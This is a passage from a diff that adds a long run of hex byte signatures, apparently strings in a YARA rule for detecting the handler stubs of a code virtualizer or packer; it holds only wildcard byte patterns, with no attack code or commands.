+		$527 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5B 58 5A 5B 5F 5E 9D 5D C3}
+		$528 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5D 58 59 9D 5E 5A 5B 5F C3}
+		$529 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5B 58 59 5D 9D 5D 5E C3}
+		$530 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5F 58 5E 5D 9D 59 5B C3}
+		$531 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 9D 5E 5D 58 5F 5A 59 5B C3}
+		$532 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 58 5D 5F 9D 5A 59 5F C3}
+		$533 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 59 5A 58 9D 5D 5B 5F C3}
+		$534 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 9D 58 5D 5F 5A 5D 59 C3}
+		$535 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 58 5A 5E 9D 5D 59 59 C3}
+		$536 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 5B 9D 59 5A 5D 58 5E C3}
+		$537 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 9D 5A 5F 59 58 5D 5E 5E C3}
+		$538 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5D 58 5F 59 5B 9D 5E 5A C3}
+		$539 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5E 9D 58 5B 5F 59 58 5A C3}
+		$540 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 59 59 5A 5E 5B 9D 58 C3}
+		$541 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5A 5E 5D 5B 58 9D 59 C3}
+		$542 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5E 5B 9D 58 5B 59 5A C3}
+		$543 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5A 5D 5F 5B 5A 59 9D C3}
+		$544 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5F 5D 5B 5A 59 9D 5F C3}
+		$545 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 58 5F 5D 58 5B 9D 5A C3}
+		$546 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 5F 5B 5D 58 5A 9D 5E C3}
+		$547 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 59 5B 5A 58 5F 9D 58 C3}
+		$548 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 58 59 5B 5A 5F 9D C3}
+		$549 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 5F 59 58 9D 5B 5B C3}
+		$550 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5F 9D 5D 5B 58 5E 5A 59 C3}
+		$551 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 59 5E 5F 5D 5A 9D C3}
+		$552 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 5F 5A 59 5D 9D 5E C3}
+		$553 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 9D 5A 5D 5F 5E 59 C3}
+		$554 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5A 5B 59 5D 9D 59 5E 58 C3}
+		$555 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 58 59 9D 5E 5B 5A 5E C3}
+		$556 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 5E 58 5B 9D 59 5A 5B C3}
+		$557 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5E 9D 59 5A 5A 5B 58 5D C3}
+		$558 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5F 5B 5A 9D 5E 5D 59 58 C3}
+		$559 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5A 5F 5E 5D 5D 58 5B C3}
+		$560 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5D 5B 5F 58 5E 5A 5A C3}
+		$561 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 58 5B 5F 59 5D 5E 59 C3}
+		$562 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 58 5B 59 5B 5D 5E C3}
+		$563 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 5D 58 5B 58 59 5E C3}
+		$564 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5B 5D 5A 5F 59 5E 58 59 C3}
+		$565 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5D 5A 5B 58 5F 5E 5E 59 C3}
+		$566 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5F 58 5A 5E 5D 5E 5B 59 C3}
+		$567 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5D 5F 5B 9D 5A 5F C3}
+		$568 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5F 5D 5B 5A 5A 9D C3}
+		$569 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 9D 5F 59 5A 5B 5D C3}
+		$570 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5B 5D 5E 5A 5E 59 9D 5F C3}
+		$571 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5E 5F 5D 5A 58 5B 9D 59 C3}
+		$572 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5F 5E 5E 5A 5D 5B 59 9D C3}
+		$573 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 9D 5B 5E 5A 5D 5F 5F 59 C3}
+		$574 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5A 5B 9D 58 5E 5F 58 5D C3}
+		$575 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5D 5A 5F 5E 58 9D 5B C3}
+		$576 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5F 5B 5E 9D 58 5A 5B C3}
+		$577 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5D 9D 5E 5B 5A 5A 58 C3}
+		$578 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5F 5E 5D 5A 5B 9D 58 C3}
+		$579 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 58 5D 5E 5D 5F 5B 9D C3}
+		$580 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 5F 58 5E 9D 5D 5F 5B C3}
+		$581 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5D 5E 58 5F 59 5D 9D C3}
+		$582 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5F 58 5D 5E 5D 59 9D C3}
+		$583 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5F 5E 58 5D 59 5D 5B 9D C3}
+		$584 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5A 59 5E 9D 5E 5D 5F C3}
+		$585 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 58 9D 59 5A 5F 5E C3}
+		$586 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 5E 5F 9D 5A 59 5A C3}
+		$587 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 59 9D 5D 5A 5E 58 5F 5F C3}
+		$588 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 5F 5E 5D 58 58 59 9D C3}
+		$589 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 9D 58 5F 5E 5E 59 5D C3}
+		$590 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5D 5F 5E 9D 58 5A 59 58 C3}
+		$591 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5E 59 5F 5D 5D 9D 58 5A C3}
+		$592 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 9D 5F 5D 58 5A 5E 59 58 C3}
+		$593 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 59 5E 5A 58 5B 5F 59 9D C3}
+		$594 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5A 9D 5F 59 5B 59 C3}
+		$595 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5F 5A 59 5B 5B 9D C3}
+		$596 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5A 5B 5E 58 9D 59 5F C3}
+		$597 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5B 5D 58 5E 5A 59 9D C3}
+		$598 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 9D 5A 5B 59 58 5E 58 5F C3}
+		$599 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 59 5B 5D 58 5B 9D C3}
+		$600 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 5B 9D 58 5E 59 5D C3}
+		$601 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5B 5A 58 5D 59 5F 9D 5F C3}
+		$602 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5D 5B 5F 5E 59 58 9D 5A C3}
+		$603 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5A 58 5D 9D 59 5F 5B C3}
+		$604 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5B 58 9D 59 5D 5F 5A C3}
+		$605 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5F 58 5B 5A 59 5D 9D 5D C3}
+		$606 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 9D 5A 5D 5F 58 5B 59 5B C3}
+		$607 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 59 59 5A 5B 9D 5E 58 5D C3}
+		$608 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5A 59 5D 9D 5E 58 5B 5A C3}
+		$609 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5B 9D 5D 5A 5E 58 5A 59 C3}
+		$610 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5E 9D 5F 59 5A 5D 58 5B C3}
+		$611 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5A 59 5E 5D 5F 5B 5A 58 C3}
+		$612 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5A 58 5F 5D 5B 59 5F C3}
+		$613 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5F 5B 5D 58 5A 59 59 C3}
+		$614 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5B 5E 5F 9D 5D 5F 59 C3}
+		$615 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5E 5F 5B 5B 5D 59 9D C3}
+		$616 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 59 9D 5D 5B 59 5A C3}
+		$617 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 5B 59 5D 5A 9D 59 C3}
+		$618 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 59 58 5B 5E 5F 5A 9D 5D C3}
+		$619 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5D 5A 58 9D 5B 5E 5F 58 C3}
+		$620 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5A 5F 5B 9D 5B 58 5D C3}
+		$621 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5F 5D 5A 5B 58 5A 9D C3}
+		$622 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5F 5B 58 5A 9D 58 5E 5D C3}
+		$623 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 58 5B 59 5E 5D 5F 5F 9D C3}
+		$624 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 59 5E 5D 5F 9D 5E 5B 58 C3}
+		$625 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5B 5F 5E 9D 58 5D 59 5A C3}
+		$626 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5D 59 5D 5F 58 5E 5B 9D C3}
+		$627 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5E 5D 5B 9D 59 58 58 5F C3}
+		$628 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5F 5D 9D 58 59 59 5B 5E C3}
+		$629 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 9D 5B 5F 5E 5D 58 59 59 C3}
+		$630 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5D 9D 5E 5F 5A 5D 58 C3}
+		$631 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5E 5F 5D 5A 9D 58 58 C3}
+		$632 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 5D 5E 5F 58 9D 5A 58 59 C3}
+		$633 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 9D 58 59 58 5E 5D 5A 5F C3}
+		$634 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 59 9D 5A 5E 58 5B 5F 58 C3}
+		$635 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5A 5F 58 9D 5E 5B 59 58 C3}
+		$636 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 58 5A 59 5F 9D 5E 58 C3}
+		$637 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 59 5F 5E 9D 5D 5A 58 C3}
+		$638 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 9D 59 5F 5D 58 5E 5A 5B C3}
+		$639 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 59 5B 59 5A 5D 9D 5F C3}
+		$640 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5D 5A 5A 5F 5B 9D 59 C3}
+		$641 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5F 5D 5A 59 9D 5A 5B C3}
+		$642 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 58 5F 5B 5D 5D 5A 9D C3}
+		$643 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 5A 5B 9D 5F 58 58 5D C3}
+		$644 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5A 59 9D 5F 5D 5B 58 5B C3}
+		$645 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 58 59 58 9D 5A 5B 5F C3}
+		$646 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 5B 5A 9D 58 5A 59 5F C3}
+		$647 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5F 58 59 9D 5F 5B 5D 5A C3}
+		$648 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5D 5B 59 5A 58 5F 5A C3}
+		$649 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5F 5D 5B 58 5D 59 5A C3}
+		$650 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5A 58 5E 5D 5B 9D 59 5D C3}
+		$651 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5F 5B 58 59 5D 5A 5E 9D C3}
+		$652 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 9D 58 5B 5D 5A 5A 5E 59 C3}
+		$653 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 59 5A 5B 58 5B 5F 5E 5D C3}
+		$654 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 59 58 5F 5A 5E 5B 5B C3}
+		$655 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 5E 59 5B 58 5B 5F 5A C3}
+		$656 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 58 5E 5A 5B 59 5D 59 C3}
+		$657 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 59 5D 5A 5B 5B 5E 58 C3}
+		$658 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$659 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$660 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$661 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 98 98 83 ED 04 89 45 00 E9}
+		$662 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9}
+		$663 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$664 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9}
+		$665 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$666 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9}
+		$667 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9}
+		$668 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$669 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+		$670 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$671 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$672 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$673 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$674 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$675 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$676 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9}
+		$677 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 88 14 07 E9}
+		$678 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 66 89 14 07 E9}
+		$679 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 88 14 07 E9}
+		$680 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9}
+		$681 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9}
+		$682 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 EE FF E9}
+		$683 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 8D 76 01 E9}
+		$684 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9}
+		$685 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 88 14 07 E9}
+		$686 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 66 89 14 07 E9}
+		$687 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 88 14 07 E9}
+		$688 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 46 E9}
+		$689 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9}
+		$690 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 EE FF E9}
+		$691 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 8D 76 01 E9}
+		$692 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 66 89 14 07 E9}
+		$693 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 88 14 07 E9}
+		$694 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 66 89 14 07 E9}
+		$695 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 88 14 07 E9}
+		$696 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9}
+		$697 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 88 14 07 E9}
+		$698 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 66 89 14 07 E9}
+		$699 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 88 14 07 E9}
+		$700 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 46 98 83 ED 04 89 45 00 E9}
+		$701 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 C6 01 98 83 ED 04 89 45 00 E9}
+		$702 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 EE FF 98 83 ED 04 89 45 00 E9}
+		$703 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 8D 76 01 98 83 ED 04 89 45 00 E9}
+		$704 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 46 83 ED 04 89 45 00 E9}
+		$705 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9}
+		$706 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 46 89 45 00 E9}
+		$707 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 C6 01 89 45 00 E9}
+		$708 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 EE FF 89 45 00 E9}
+		$709 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 46 E9}
+		$710 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 C6 01 E9}
+		$711 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 EE FF E9}
+		$712 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 8D 76 01 E9}
+		$713 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 8D 76 01 89 45 00 E9}
+		$714 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 EE FF 83 ED 04 89 45 00 E9}
+		$715 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 8D 76 01 83 ED 04 89 45 00 E9}
+		$716 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$717 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$718 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$719 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 98 98 83 ED 04 89 45 00 E9}
+		$720 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$721 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$722 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 46 66 89 45 00 E9}
+		$723 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 46 E9}
+		$724 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$725 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 EE FF E9}
+		$726 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$727 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$728 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$729 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$730 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$731 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$732 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9}
